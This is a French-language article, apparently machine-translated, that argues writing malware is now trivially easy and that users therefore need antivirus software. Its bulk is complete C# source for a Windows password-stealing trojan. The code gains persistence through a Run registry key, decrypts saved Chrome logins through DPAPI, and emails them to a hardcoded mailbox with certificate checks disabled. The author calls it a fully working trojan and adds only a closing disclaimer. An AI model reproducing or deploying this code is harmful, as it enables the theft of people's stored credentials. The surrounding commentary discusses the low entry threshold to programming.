Virus de base en 20 minutes ou pourquoi utiliser un antivirus

Salutations.

De nos jours, le seuil pour entrer dans le monde de la programmation a chuté de manière significative - si auparavant, à l'aube de l'ère numérique, la programmation était quelque chose hors de l'ordinaire, "le destin des élus", aujourd'hui chaque étudiant qui sait comment google et en toute confiance peut écrire un enregistreur de frappe ou un ver manipuler un ordinateur. Sans aucune compétence particulière, vous pouvez créer des logiciels qui peuvent causer beaucoup de problèmes aux utilisateurs de PC qui, pour une raison ou une autre, négligent les programmes antivirus.

Under cat est un exemple d'écriture de tels logiciels malveillants et quelques réflexions sur les raisons pour lesquelles il est devenu si accessible.

Donc, pour commencer, nous formalisons - qui dans le contexte de cet article est considéré sous les concepts de "virus" et de "ver". Formellement, le concept de «virus» a été introduit pour la première fois en 1984 par Fred Cohen et il ressemblait à ceci:
Nous définissons un «virus» informatique comme un programme qui peut «infecter» d'autres programmes en les modifiant pour inclure une copie éventuellement évoluée de lui-même

Plus tard, il a corrigé sa propre définition, en se concentrant sur la capacité de se propager - c'est-à-dire pour copier récursivement le code du programme. Ainsi, dans un sens plus fondamental, le virus a été défini comme un code dont l'exécution conduira à l'enregistrement d'une copie de ce code sur la bande de la machine Turing avant l'exécution, c'est-à-dire dans le futur.
Cette définition n'est pas entièrement correcte par rapport à la plupart des virus modernes, car les vrais virus n'ont pas besoin d'être copiés de manière récursive, et dans l'ensemble même copiés, mais ce modèle est considéré comme classique et il convient de l'utiliser pour écrire un "virus sphérique dans le vide".

En outre, en 1992, dans son articleCohen a introduit une définition formelle d'un ver informatique. Une définition formelle complète peut être trouvée dans la source, ici je ne donnerai qu'une brève citation:
Récemment, le terme «ver» a été largement utilisé pour décrire les programmes qui répliquent et initialisent automatiquement l'interprétation de leurs répliques. .

Ceux. la raison pour laquelle le ver s'exécute peut ne pas être le ver parent, mais selon n'importe quel déclencheur, par exemple, démarrage de l'ordinateur ou minuterie.

En fait, la classification des virus est beaucoup plus large, et chaque virus se divise en plusieurs catégories à la fois, même les «chevaux de Troie» ont plus d'une douzaine d'espèces . Ce n'est pas ça.

Nous réalisons un autre virus dans cette galaxie. Je dirai tout de suite que cela ne fonctionnera pas sur du matériel réel protégé par un simple antivirus, mais il démontre clairement les principes qui sous-tendent la plupart des programmes antivirus.

Le code complet sous le spoiler (attention, il y en a beaucoup):

Cap de spoiler
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //    

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //  
            byte[] entropy = null; //    .
                                   //  DPAPI      ,
                                   //   -  ,  .
            string description; //       ,     .
                                //    
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); //        "--". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //   
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); // 
                                                              //    
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


La plupart du code pour décrypter le mot de passe provient de l' article correspondant sur le stockage des mots de passe dans Chrome , qui, en fait, est facile à google et à être dans le domaine public.

Tout ce qui resterait pour transformer ce produit logiciel en cheval de Troie est d'ajouter la possibilité d '«infecter» un ordinateur avec lui à l'insu de l'utilisateur, d'ajouter une condition de déclenchement et d'apprendre à envoyer des informations volées à un serveur distant.
En conséquence, dans l'ensemble, chacune des étapes est bien suivie. Dans la fonction Registr, le programme se copie dans le dossier de service et entre en exécution automatique au démarrage du système d'exploitation, dans le bloc Generate il génère un fichier avec des mots de passe et des connexions, tout est un peu déroutant, mais la plupart du code utilisé ici est copié à partir de sources ouvertes. Le code est commenté en place, ici je ne vois aucune raison de le répéter. Et enfin, la fonction Envoyer envoie le fichier de mot de passe au courrier spécifié. Le code ne nécessite pas non plus de connaissances approfondies des sockets et de la pile TCP / IP - dans .NET, tout est assez bien emballé dans une classe de haut niveau pour travailler avec le courrier. Si nécessaire, vous pouvez transférer des données vers n'importe quel protocole, y compris les requêtes POST et le serveur FTP, mais cela ne devrait pas augmenter le serveur - vous pouvez utiliser le courrier.

En conséquence, après une demi-heure de travail avec le code, nous avons obtenu un cheval de Troie à part entière, qui, bien sûr, est détecté par les antivirus, mais si vous n'en tenez pas compte, cela fonctionne parfaitement correctement. Et à un moment donné, l'écriture d'un tel programme a nécessité plusieurs centaines de lignes de code. Maintenant, cela prenait quelques dizaines de minutes.

Est-ce bon ou mauvais? La question est très ouverte, car d'une part, une diminution du niveau d'entrée dans la profession augmente l'afflux de personnel, récemment il est devenu plus facile d'écrire un programme de travail, respectivement, il y a eu plus de programmes, et dans une économie de marché c'est certainement bon, car la concurrence améliore la qualité. D'un autre côté, un seuil d'entrée bas signifie un grand nombre de personnel peu ou moyennement qualifié, à cause de quoi la qualité des produits logiciels reste inférieure à celle souhaitée, même en tenant compte de tous les outils qui facilitent le travail du développeur - langages de programmation de haut niveau modernes, environnements de développement intégrés, débogueurs, etc. .

Eh bien, bien sûr - puisqu'il y a plus de produits logiciels, il y a plus de virus. Bien sûr, un utilisateur soigné et attentif sait généralement comment les éviter - il ne suit pas les liens des lettres et n'insère pas de lecteurs flash non vérifiés. Mais le fait demeure - maintenant, quand chaque élève du secondaire sait comment écrire un virus de base - les antivirus sont devenus plus populaires qu'il y a quelques décennies.

L'auteur ne recommande aucunement la création de logiciels malveillants et rappelle que l'accès illégal à des informations privées est poursuivi.

All Articles